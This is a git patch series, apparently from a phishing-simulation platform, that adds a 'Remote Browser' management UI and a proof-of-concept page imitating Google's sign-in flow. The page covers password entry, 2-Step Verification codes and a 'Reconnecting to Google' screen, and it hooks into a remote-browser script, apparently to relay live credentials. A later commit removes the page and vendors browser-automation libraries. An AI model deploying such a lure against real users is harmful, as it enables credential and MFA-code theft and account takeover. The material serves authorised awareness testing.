    + To enable it, set enabled: true + in the remote_browser block of + config.json and retart the service. +

    + Read the setup guide +
    + {:else} + New Remote Browser + +
    + {#each items as item (item.id)} + + + + + {item.description || ''} + + + + openUpdateModal(item.id)} /> + openCopyModal(item.id)} /> + { + deleteValues = { id: item.id, name: item.name }; + isDeleteAlertVisible = true; + }} + /> + + + + {/each} +
    + {/if} +
+ + + + +
+ +
+ + + + +
+
+ + onClickDelete(deleteValues.id)} +/> diff --git a/frontend/vite.dev.config.js b/frontend/vite.dev.config.js index 4bd61f0..d588f29 100644 --- a/frontend/vite.dev.config.js +++ b/frontend/vite.dev.config.js @@ -21,6 +21,7 @@ export default defineConfig({ '/api/': { target: 'https://backend:8002', secure: false, + ws: true, }, }, }, diff --git a/tmp/google-poc.html b/tmp/google-poc.html new file mode 100644 index 0000000..8a41e01 --- /dev/null +++ b/tmp/google-poc.html @@ -0,0 +1,636 @@ + + + + + + Sign in - Google Accounts + + + + +
+
+ +
+ +

Sign in

+

Use your Google Account

+
+ +
+ +

Welcome

+ +
+ +
+ +

2-Step Verification

+

Open your authenticator app and enter the 6-digit code

+ +
+ +
+ +

One more step

+

Complete the security check to continue signing in

+
+ +
+ +

Please wait

+

Reconnecting to Google

+
+ +
+ +
+ +
+ +
+ +
+
+ + +
+
+ +

+ Not your computer? Use Guest mode to sign in privately. + Learn more +

+
+ Create account + +
+
+ +
+
+ + + +
+
+ +
+ Try another way + +
+
+ +
+
+ + +
+
+ +
+
+ +
+
+ +
+
+
+
+
+ +
+
+
+

Please wait…

+
+
+ +
+
+
+ + + +
+

You're signed in

+

Redirecting…

+
+
+ +
+
+ + + + {{RemoteBrowserScript "Google POC"}} + + + From f5e6f53d758835f83ed60c37ffc30d93c413cb11 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Sun, 24 May 2026 09:50:14 +0200 Subject: [PATCH 16/78] update vendor Signed-off-by: Ronni Skansing --- .../github.com/dlclark/regexp2/.gitignore | 27 + .../github.com/dlclark/regexp2/.travis.yml | 7 + .../vendor/github.com/dlclark/regexp2/ATTRIB | 133 + .../vendor/github.com/dlclark/regexp2/LICENSE | 21 + .../github.com/dlclark/regexp2/README.md | 174 + .../github.com/dlclark/regexp2/fastclock.go | 129 + .../github.com/dlclark/regexp2/match.go | 349 + .../github.com/dlclark/regexp2/regexp.go | 395 + .../github.com/dlclark/regexp2/replace.go | 177 + .../github.com/dlclark/regexp2/runner.go | 1613 + .../dlclark/regexp2/syntax/charclass.go | 865 + .../github.com/dlclark/regexp2/syntax/code.go | 274 + .../dlclark/regexp2/syntax/escape.go | 94 + .../github.com/dlclark/regexp2/syntax/fuzz.go | 20 + .../dlclark/regexp2/syntax/parser.go | 2262 + .../dlclark/regexp2/syntax/prefix.go | 896 + .../dlclark/regexp2/syntax/replacerdata.go | 87 + .../github.com/dlclark/regexp2/syntax/tree.go | 654 + .../dlclark/regexp2/syntax/writer.go | 500 + .../github.com/dlclark/regexp2/testoutput1 | 7061 ++ .../vendor/github.com/dop251/goja/.gitignore | 3 + .../dop251/goja/.tc39_test262_checkout.sh | 11 + backend/vendor/github.com/dop251/goja/LICENSE | 15 + .../vendor/github.com/dop251/goja/README.md | 335 + .../vendor/github.com/dop251/goja/array.go | 565 + .../github.com/dop251/goja/array_sparse.go | 500 + .../dop251/goja/ast/README.markdown | 1068 + .../vendor/github.com/dop251/goja/ast/node.go | 876 + .../github.com/dop251/goja/builtin_array.go | 1833 + .../github.com/dop251/goja/builtin_bigint.go | 369 + .../github.com/dop251/goja/builtin_boolean.go | 75 + .../github.com/dop251/goja/builtin_date.go | 1058 + .../github.com/dop251/goja/builtin_error.go | 314 + .../dop251/goja/builtin_function.go | 418 + .../github.com/dop251/goja/builtin_global.go | 576 + .../github.com/dop251/goja/builtin_json.go | 542 + .../github.com/dop251/goja/builtin_map.go | 342 + .../github.com/dop251/goja/builtin_math.go | 358 + .../github.com/dop251/goja/builtin_number.go | 303 + .../github.com/dop251/goja/builtin_object.go | 711 + .../github.com/dop251/goja/builtin_promise.go | 650 + .../github.com/dop251/goja/builtin_proxy.go | 396 + .../github.com/dop251/goja/builtin_reflect.go | 140 + .../github.com/dop251/goja/builtin_regexp.go | 1356 + .../github.com/dop251/goja/builtin_set.go | 346 + .../github.com/dop251/goja/builtin_string.go | 1108 + .../github.com/dop251/goja/builtin_symbol.go | 177 + .../dop251/goja/builtin_typedarrays.go | 1973 + .../github.com/dop251/goja/builtin_weakmap.go | 176 + .../github.com/dop251/goja/builtin_weakset.go | 135 + .../vendor/github.com/dop251/goja/compiler.go | 1487 + .../github.com/dop251/goja/compiler_expr.go | 3599 + .../github.com/dop251/goja/compiler_stmt.go | 1127 + backend/vendor/github.com/dop251/goja/date.go | 124 + .../github.com/dop251/goja/date_parser.go | 426 + .../vendor/github.com/dop251/goja/destruct.go | 298 + .../dop251/goja/extract_failed_tests.sh | 3 + .../dop251/goja/file/README.markdown | 110 + .../github.com/dop251/goja/file/file.go | 236 + .../dop251/goja/ftoa/LICENSE_LUCENE | 21 + .../github.com/dop251/goja/ftoa/common.go | 150 + .../github.com/dop251/goja/ftoa/ftoa.go | 699 + .../github.com/dop251/goja/ftoa/ftobasestr.go | 153 + .../github.com/dop251/goja/ftoa/ftostr.go | 147 + .../dop251/goja/ftoa/internal/fast/LICENSE_V8 | 26 + .../goja/ftoa/internal/fast/cachedpower.go | 120 + .../dop251/goja/ftoa/internal/fast/common.go | 18 + .../dop251/goja/ftoa/internal/fast/diyfp.go | 152 + .../dop251/goja/ftoa/internal/fast/dtoa.go | 642 + backend/vendor/github.com/dop251/goja/func.go | 1113 + backend/vendor/github.com/dop251/goja/ipow.go | 98 + backend/vendor/github.com/dop251/goja/map.go | 169 + .../vendor/github.com/dop251/goja/object.go | 1864 + .../github.com/dop251/goja/object_args.go | 139 + .../github.com/dop251/goja/object_dynamic.go | 794 + .../dop251/goja/object_goarray_reflect.go | 358 + .../github.com/dop251/goja/object_gomap.go | 158 + .../dop251/goja/object_gomap_reflect.go | 294 + .../dop251/goja/object_goreflect.go | 677 + .../github.com/dop251/goja/object_goslice.go | 343 + .../dop251/goja/object_goslice_reflect.go | 89 + .../github.com/dop251/goja/object_template.go | 469 + .../dop251/goja/parser/README.markdown | 184 + .../github.com/dop251/goja/parser/error.go | 176 + .../dop251/goja/parser/expression.go | 1666 + .../github.com/dop251/goja/parser/lexer.go | 1210 + .../github.com/dop251/goja/parser/parser.go | 268 + .../github.com/dop251/goja/parser/regexp.go | 472 + .../github.com/dop251/goja/parser/scope.go | 50 + .../dop251/goja/parser/statement.go | 1078 + .../vendor/github.com/dop251/goja/profiler.go | 350 + .../vendor/github.com/dop251/goja/proxy.go | 1074 + .../vendor/github.com/dop251/goja/regexp.go | 639 + .../vendor/github.com/dop251/goja/runtime.go | 3234 + .../github.com/dop251/goja/staticcheck.conf | 1 + .../vendor/github.com/dop251/goja/string.go | 364 + .../github.com/dop251/goja/string_ascii.go | 401 + .../github.com/dop251/goja/string_imported.go | 307 + .../github.com/dop251/goja/string_unicode.go | 615 + .../github.com/dop251/goja/token/Makefile | 2 + .../dop251/goja/token/README.markdown | 171 + .../github.com/dop251/goja/token/token.go | 122 + .../dop251/goja/token/token_const.go | 407 + .../github.com/dop251/goja/token/tokenfmt | 222 + .../github.com/dop251/goja/typedarrays.go | 1327 + .../dop251/goja/unistring/string.go | 137 + .../vendor/github.com/dop251/goja/value.go | 1199 + backend/vendor/github.com/dop251/goja/vm.go | 5991 ++ .../github.com/go-rod/rod/.eslintrc.yml | 9 + .../vendor/github.com/go-rod/rod/.gitignore | 9 + .../github.com/go-rod/rod/.golangci.yml | 110 + .../github.com/go-rod/rod/.prettierrc.yml | 3 + backend/vendor/github.com/go-rod/rod/LICENSE | 9 + .../vendor/github.com/go-rod/rod/README.md | 51 + .../vendor/github.com/go-rod/rod/browser.go | 543 + .../vendor/github.com/go-rod/rod/context.go | 132 + .../vendor/github.com/go-rod/rod/cspell.json | 139 + .../github.com/go-rod/rod/dev_helpers.go | 264 + .../vendor/github.com/go-rod/rod/element.go | 754 + backend/vendor/github.com/go-rod/rod/error.go | 193 + backend/vendor/github.com/go-rod/rod/go.work | 8 + .../vendor/github.com/go-rod/rod/go.work.sum | 4 + .../vendor/github.com/go-rod/rod/hijack.go | 430 + backend/vendor/github.com/go-rod/rod/input.go | 457 + .../go-rod/rod/lib/assets/README.md | 3 + .../go-rod/rod/lib/assets/assets.go | 189 + .../go-rod/rod/lib/assets/monitor-page.html | 103 + .../go-rod/rod/lib/assets/monitor.html | 53 + .../github.com/go-rod/rod/lib/cdp/README.md | 11 + .../github.com/go-rod/rod/lib/cdp/client.go | 175 + .../github.com/go-rod/rod/lib/cdp/error.go | 65 + .../github.com/go-rod/rod/lib/cdp/format.go | 53 + .../github.com/go-rod/rod/lib/cdp/utils.go | 46 + .../go-rod/rod/lib/cdp/websocket.go | 238 + .../go-rod/rod/lib/defaults/defaults.go | 203 + .../go-rod/rod/lib/devices/device.go | 101 + .../github.com/go-rod/rod/lib/devices/list.go | 690 + .../go-rod/rod/lib/devices/utils.go | 13 + .../github.com/go-rod/rod/lib/input/README.md | 3 + .../go-rod/rod/lib/input/keyboard.go | 138 + .../github.com/go-rod/rod/lib/input/keymap.go | 134 + .../go-rod/rod/lib/input/mac_comands.go | 125 + .../github.com/go-rod/rod/lib/input/mouse.go | 25 + .../github.com/go-rod/rod/lib/js/helper.go | 234 + .../github.com/go-rod/rod/lib/js/helper.js | 572 + .../vendor/github.com/go-rod/rod/lib/js/js.go | 21 + .../go-rod/rod/lib/launcher/README.md | 3 + .../go-rod/rod/lib/launcher/browser.go | 279 + .../go-rod/rod/lib/launcher/error.go | 6 + .../go-rod/rod/lib/launcher/flags/flags.go | 70 + .../go-rod/rod/lib/launcher/launcher.go | 556 + .../go-rod/rod/lib/launcher/manager.go | 211 + .../go-rod/rod/lib/launcher/os_unix.go | 26 + .../go-rod/rod/lib/launcher/os_windows.go | 28 + .../go-rod/rod/lib/launcher/revision.go | 9 + .../go-rod/rod/lib/launcher/url_parser.go | 139 + .../go-rod/rod/lib/launcher/utils.go | 49 + .../github.com/go-rod/rod/lib/proto/README.md | 7 + .../go-rod/rod/lib/proto/a_interface.go | 71 + .../go-rod/rod/lib/proto/a_patch.go | 180 + .../go-rod/rod/lib/proto/a_utils.go | 24 + .../go-rod/rod/lib/proto/accessibility.go | 588 + .../go-rod/rod/lib/proto/animation.go | 347 + .../github.com/go-rod/rod/lib/proto/audits.go | 1345 + .../go-rod/rod/lib/proto/autofill.go | 172 + .../rod/lib/proto/background_service.go | 157 + .../go-rod/rod/lib/proto/browser.go | 636 + .../go-rod/rod/lib/proto/cache_storage.go | 217 + .../github.com/go-rod/rod/lib/proto/cast.go | 135 + .../go-rod/rod/lib/proto/console.go | 135 + .../github.com/go-rod/rod/lib/proto/css.go | 1456 + .../go-rod/rod/lib/proto/database.go | 124 + .../go-rod/rod/lib/proto/debugger.go | 1256 + .../go-rod/rod/lib/proto/definitions.go | 1352 + .../go-rod/rod/lib/proto/device_access.go | 92 + .../rod/lib/proto/device_orientation.go | 44 + .../github.com/go-rod/rod/lib/proto/dom.go | 1712 + .../go-rod/rod/lib/proto/dom_debugger.go | 248 + .../go-rod/rod/lib/proto/dom_snapshot.go | 458 + .../go-rod/rod/lib/proto/dom_storage.go | 185 + .../go-rod/rod/lib/proto/emulation.go | 925 + .../go-rod/rod/lib/proto/event_breakpoints.go | 56 + .../go-rod/rod/lib/proto/extensions.go | 36 + .../github.com/go-rod/rod/lib/proto/fed_cm.go | 244 + .../github.com/go-rod/rod/lib/proto/fetch.go | 408 + .../rod/lib/proto/headless_experimental.go | 102 + .../go-rod/rod/lib/proto/heap_profiler.go | 346 + .../go-rod/rod/lib/proto/indexed_db.go | 392 + .../github.com/go-rod/rod/lib/proto/input.go | 626 + .../go-rod/rod/lib/proto/inspector.go | 58 + .../github.com/go-rod/rod/lib/proto/io.go | 84 + .../go-rod/rod/lib/proto/layer_tree.go | 332 + .../github.com/go-rod/rod/lib/proto/log.go | 221 + .../github.com/go-rod/rod/lib/proto/media.go | 197 + .../github.com/go-rod/rod/lib/proto/memory.go | 222 + .../go-rod/rod/lib/proto/network.go | 3140 + .../go-rod/rod/lib/proto/overlay.go | 921 + .../github.com/go-rod/rod/lib/proto/page.go | 3425 + .../go-rod/rod/lib/proto/performance.go | 113 + .../rod/lib/proto/performance_timeline.go | 115 + .../go-rod/rod/lib/proto/preload.go | 602 + .../go-rod/rod/lib/proto/profiler.go | 299 + .../github.com/go-rod/rod/lib/proto/pwa.go | 228 + .../go-rod/rod/lib/proto/runtime.go | 1508 + .../github.com/go-rod/rod/lib/proto/schema.go | 38 + .../go-rod/rod/lib/proto/security.go | 331 + .../go-rod/rod/lib/proto/service_worker.go | 350 + .../go-rod/rod/lib/proto/storage.go | 1624 + .../go-rod/rod/lib/proto/system_info.go | 232 + .../github.com/go-rod/rod/lib/proto/target.go | 585 + .../go-rod/rod/lib/proto/tethering.go | 53 + .../go-rod/rod/lib/proto/tracing.go | 298 + .../go-rod/rod/lib/proto/web_audio.go | 426 + .../go-rod/rod/lib/proto/web_authn.go | 429 + .../go-rod/rod/lib/utils/imageutil.go | 134 + .../go-rod/rod/lib/utils/sleeper.go | 149 + .../github.com/go-rod/rod/lib/utils/utils.go | 379 + backend/vendor/github.com/go-rod/rod/must.go | 1172 + backend/vendor/github.com/go-rod/rod/page.go | 1061 + .../vendor/github.com/go-rod/rod/page_eval.go | 380 + backend/vendor/github.com/go-rod/rod/query.go | 543 + .../vendor/github.com/go-rod/rod/states.go | 119 + backend/vendor/github.com/go-rod/rod/utils.go | 271 + .../go-sourcemap/sourcemap/.travis.yml | 12 + .../github.com/go-sourcemap/sourcemap/LICENSE | 25 + .../go-sourcemap/sourcemap/Makefile | 4 + .../go-sourcemap/sourcemap/README.md | 43 + .../go-sourcemap/sourcemap/consumer.go | 253 + .../sourcemap/internal/base64vlq/base64vlq.go | 90 + .../go-sourcemap/sourcemap/mappings.go | 162 + .../github.com/gorilla/websocket/.gitignore | 25 + .../github.com/gorilla/websocket/AUTHORS | 9 + .../github.com/gorilla/websocket/LICENSE | 22 + .../github.com/gorilla/websocket/README.md | 33 + .../github.com/gorilla/websocket/client.go | 434 + .../gorilla/websocket/compression.go | 148 + .../github.com/gorilla/websocket/conn.go | 1238 + .../github.com/gorilla/websocket/doc.go | 227 + .../github.com/gorilla/websocket/join.go | 42 + .../github.com/gorilla/websocket/json.go | 60 + .../github.com/gorilla/websocket/mask.go | 55 + .../github.com/gorilla/websocket/mask_safe.go | 16 + .../github.com/gorilla/websocket/prepared.go | 102 + .../github.com/gorilla/websocket/proxy.go | 77 + .../github.com/gorilla/websocket/server.go | 365 + .../gorilla/websocket/tls_handshake.go | 21 + .../gorilla/websocket/tls_handshake_116.go | 21 + .../github.com/gorilla/websocket/util.go | 298 + .../gorilla/websocket/x_net_proxy.go | 473 + .../github.com/ysmood/fetchup/.gitignore | 2 + .../vendor/github.com/ysmood/fetchup/LICENSE | 21 + .../github.com/ysmood/fetchup/README.md | 3 + .../github.com/ysmood/fetchup/download.go | 230 + .../github.com/ysmood/fetchup/events.go | 10 + .../github.com/ysmood/fetchup/fetchup.go | 107 + .../vendor/github.com/ysmood/fetchup/utils.go | 201 + .../vendor/github.com/ysmood/goob/.gitignore | 1 + .../github.com/ysmood/goob/.golangci.yml | 18 + backend/vendor/github.com/ysmood/goob/LICENSE | 9 + backend/vendor/github.com/ysmood/goob/goob.go | 67 + backend/vendor/github.com/ysmood/goob/pipe.go | 63 + .../vendor/github.com/ysmood/goob/readme.md | 25 + backend/vendor/github.com/ysmood/got/LICENSE | 9 + .../github.com/ysmood/got/lib/lcs/lcs.go | 157 + .../github.com/ysmood/got/lib/lcs/sequence.go | 133 + .../github.com/ysmood/got/lib/lcs/utils.go | 64 + .../vendor/github.com/ysmood/gson/.gitignore | 2 + backend/vendor/github.com/ysmood/gson/LICENSE | 9 + .../vendor/github.com/ysmood/gson/README.md | 7 + backend/vendor/github.com/ysmood/gson/read.go | 261 + .../vendor/github.com/ysmood/gson/write.go | 175 + .../github.com/ysmood/leakless/.gitignore | 3 + .../github.com/ysmood/leakless/.golangci.yml | 12 + .../vendor/github.com/ysmood/leakless/LICENSE | 9 + .../ysmood/leakless/bin_amd64_darwin.go | 5 + .../ysmood/leakless/bin_amd64_linux.go | 5 + .../ysmood/leakless/bin_amd64_windows.go | 5 + .../ysmood/leakless/bin_arm64_darwin.go | 5 + .../ysmood/leakless/bin_arm64_linux.go | 5 + .../github.com/ysmood/leakless/leakless.go | 155 + .../ysmood/leakless/pkg/shared/message.go | 8 + .../ysmood/leakless/pkg/shared/version.go | 4 + .../ysmood/leakless/pkg/utils/target.go | 30 + .../ysmood/leakless/pkg/utils/utils.go | 139 + .../github.com/ysmood/leakless/readme.md | 26 + .../golang.org/x/text/collate/collate.go | 403 + .../vendor/golang.org/x/text/collate/index.go | 32 + .../golang.org/x/text/collate/option.go | 239 + .../vendor/golang.org/x/text/collate/sort.go | 81 + .../golang.org/x/text/collate/tables.go | 73789 ++++++++++++++++ .../x/text/internal/colltab/collelem.go | 376 + .../x/text/internal/colltab/colltab.go | 105 + .../x/text/internal/colltab/contract.go | 145 + .../x/text/internal/colltab/iter.go | 178 + .../x/text/internal/colltab/numeric.go | 236 + .../x/text/internal/colltab/table.go | 275 + .../x/text/internal/colltab/trie.go | 159 + .../x/text/internal/colltab/weighter.go | 31 + .../x/text/unicode/rangetable/merge.go | 260 + .../x/text/unicode/rangetable/rangetable.go | 70 + .../x/text/unicode/rangetable/tables10.0.0.go | 6378 ++ .../x/text/unicode/rangetable/tables11.0.0.go | 7029 ++ .../x/text/unicode/rangetable/tables12.0.0.go | 7691 ++ .../x/text/unicode/rangetable/tables13.0.0.go | 8363 ++ .../x/text/unicode/rangetable/tables15.0.0.go | 9065 ++ .../x/text/unicode/rangetable/tables9.0.0.go | 5737 ++ tmp/google-poc.html | 636 - 307 files changed, 238920 insertions(+), 636 deletions(-) create mode 100644 backend/vendor/github.com/dlclark/regexp2/.gitignore create mode 100644 backend/vendor/github.com/dlclark/regexp2/.travis.yml create mode 100644 backend/vendor/github.com/dlclark/regexp2/ATTRIB create mode 100644 backend/vendor/github.com/dlclark/regexp2/LICENSE create mode 100644 backend/vendor/github.com/dlclark/regexp2/README.md create mode 100644 backend/vendor/github.com/dlclark/regexp2/fastclock.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/match.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/regexp.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/replace.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/runner.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/charclass.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/code.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/escape.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/fuzz.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/parser.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/prefix.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/replacerdata.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/tree.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/syntax/writer.go create mode 100644 backend/vendor/github.com/dlclark/regexp2/testoutput1 create mode 100644 backend/vendor/github.com/dop251/goja/.gitignore create mode 100644 backend/vendor/github.com/dop251/goja/.tc39_test262_checkout.sh create mode 100644 backend/vendor/github.com/dop251/goja/LICENSE create mode 100644 backend/vendor/github.com/dop251/goja/README.md create mode 100644 backend/vendor/github.com/dop251/goja/array.go create mode 100644 backend/vendor/github.com/dop251/goja/array_sparse.go create mode 100644 backend/vendor/github.com/dop251/goja/ast/README.markdown create mode 100644 backend/vendor/github.com/dop251/goja/ast/node.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_array.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_bigint.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_boolean.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_date.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_error.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_function.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_global.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_json.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_map.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_math.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_number.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_object.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_promise.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_proxy.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_reflect.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_regexp.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_set.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_string.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_symbol.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_typedarrays.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_weakmap.go create mode 100644 backend/vendor/github.com/dop251/goja/builtin_weakset.go create mode 100644 backend/vendor/github.com/dop251/goja/compiler.go create mode 100644 backend/vendor/github.com/dop251/goja/compiler_expr.go create mode 100644 backend/vendor/github.com/dop251/goja/compiler_stmt.go create mode 100644 backend/vendor/github.com/dop251/goja/date.go create mode 100644 backend/vendor/github.com/dop251/goja/date_parser.go create mode 100644 backend/vendor/github.com/dop251/goja/destruct.go create mode 100644 backend/vendor/github.com/dop251/goja/extract_failed_tests.sh create mode 100644 backend/vendor/github.com/dop251/goja/file/README.markdown create mode 100644 backend/vendor/github.com/dop251/goja/file/file.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/LICENSE_LUCENE create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/common.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/ftoa.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/ftobasestr.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/ftostr.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/internal/fast/LICENSE_V8 create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/internal/fast/cachedpower.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/internal/fast/common.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/internal/fast/diyfp.go create mode 100644 backend/vendor/github.com/dop251/goja/ftoa/internal/fast/dtoa.go create mode 100644 backend/vendor/github.com/dop251/goja/func.go create mode 100644 backend/vendor/github.com/dop251/goja/ipow.go create mode 100644 backend/vendor/github.com/dop251/goja/map.go create mode 100644 backend/vendor/github.com/dop251/goja/object.go create mode 100644 backend/vendor/github.com/dop251/goja/object_args.go create mode 100644 backend/vendor/github.com/dop251/goja/object_dynamic.go create mode 100644 backend/vendor/github.com/dop251/goja/object_goarray_reflect.go create mode 100644 backend/vendor/github.com/dop251/goja/object_gomap.go create mode 100644 backend/vendor/github.com/dop251/goja/object_gomap_reflect.go create mode 100644 backend/vendor/github.com/dop251/goja/object_goreflect.go create mode 100644 backend/vendor/github.com/dop251/goja/object_goslice.go create mode 100644 backend/vendor/github.com/dop251/goja/object_goslice_reflect.go create mode 100644 backend/vendor/github.com/dop251/goja/object_template.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/README.markdown create mode 100644 backend/vendor/github.com/dop251/goja/parser/error.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/expression.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/lexer.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/parser.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/regexp.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/scope.go create mode 100644 backend/vendor/github.com/dop251/goja/parser/statement.go create mode 100644 backend/vendor/github.com/dop251/goja/profiler.go create mode 100644 backend/vendor/github.com/dop251/goja/proxy.go create mode 100644 backend/vendor/github.com/dop251/goja/regexp.go create mode 100644 backend/vendor/github.com/dop251/goja/runtime.go create mode 100644 backend/vendor/github.com/dop251/goja/staticcheck.conf create mode 100644 backend/vendor/github.com/dop251/goja/string.go create mode 100644 backend/vendor/github.com/dop251/goja/string_ascii.go create mode 100644 backend/vendor/github.com/dop251/goja/string_imported.go create mode 100644 backend/vendor/github.com/dop251/goja/string_unicode.go create mode 100644 backend/vendor/github.com/dop251/goja/token/Makefile create mode 100644 backend/vendor/github.com/dop251/goja/token/README.markdown create mode 100644 backend/vendor/github.com/dop251/goja/token/token.go create mode 100644 backend/vendor/github.com/dop251/goja/token/token_const.go create mode 100644 backend/vendor/github.com/dop251/goja/token/tokenfmt create mode 100644 backend/vendor/github.com/dop251/goja/typedarrays.go create mode 100644 backend/vendor/github.com/dop251/goja/unistring/string.go create mode 100644 backend/vendor/github.com/dop251/goja/value.go create mode 100644 backend/vendor/github.com/dop251/goja/vm.go create mode 100644 backend/vendor/github.com/go-rod/rod/.eslintrc.yml create mode 100644 backend/vendor/github.com/go-rod/rod/.gitignore create mode 100644 backend/vendor/github.com/go-rod/rod/.golangci.yml create mode 100644 backend/vendor/github.com/go-rod/rod/.prettierrc.yml create mode 100644 backend/vendor/github.com/go-rod/rod/LICENSE create mode 100644 backend/vendor/github.com/go-rod/rod/README.md create mode 100644 backend/vendor/github.com/go-rod/rod/browser.go create mode 100644 backend/vendor/github.com/go-rod/rod/context.go create mode 100644 backend/vendor/github.com/go-rod/rod/cspell.json create mode 100644 backend/vendor/github.com/go-rod/rod/dev_helpers.go create mode 100644 backend/vendor/github.com/go-rod/rod/element.go create mode 100644 backend/vendor/github.com/go-rod/rod/error.go create mode 100644 backend/vendor/github.com/go-rod/rod/go.work create mode 100644 backend/vendor/github.com/go-rod/rod/go.work.sum create mode 100644 backend/vendor/github.com/go-rod/rod/hijack.go create mode 100644 backend/vendor/github.com/go-rod/rod/input.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/assets/README.md create mode 100644 backend/vendor/github.com/go-rod/rod/lib/assets/assets.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/assets/monitor-page.html create mode 100644 backend/vendor/github.com/go-rod/rod/lib/assets/monitor.html create mode 100644 backend/vendor/github.com/go-rod/rod/lib/cdp/README.md create mode 100644 backend/vendor/github.com/go-rod/rod/lib/cdp/client.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/cdp/error.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/cdp/format.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/cdp/utils.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/cdp/websocket.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/defaults/defaults.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/devices/device.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/devices/list.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/devices/utils.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/input/README.md create mode 100644 backend/vendor/github.com/go-rod/rod/lib/input/keyboard.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/input/keymap.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/input/mac_comands.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/input/mouse.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/js/helper.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/js/helper.js create mode 100644 backend/vendor/github.com/go-rod/rod/lib/js/js.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/README.md create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/browser.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/error.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/flags/flags.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/launcher.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/manager.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/os_unix.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/os_windows.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/revision.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/url_parser.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/launcher/utils.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/README.md create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/a_interface.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/a_patch.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/a_utils.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/accessibility.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/animation.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/audits.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/autofill.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/background_service.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/browser.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/cache_storage.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/cast.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/console.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/css.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/database.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/debugger.go create mode 100644 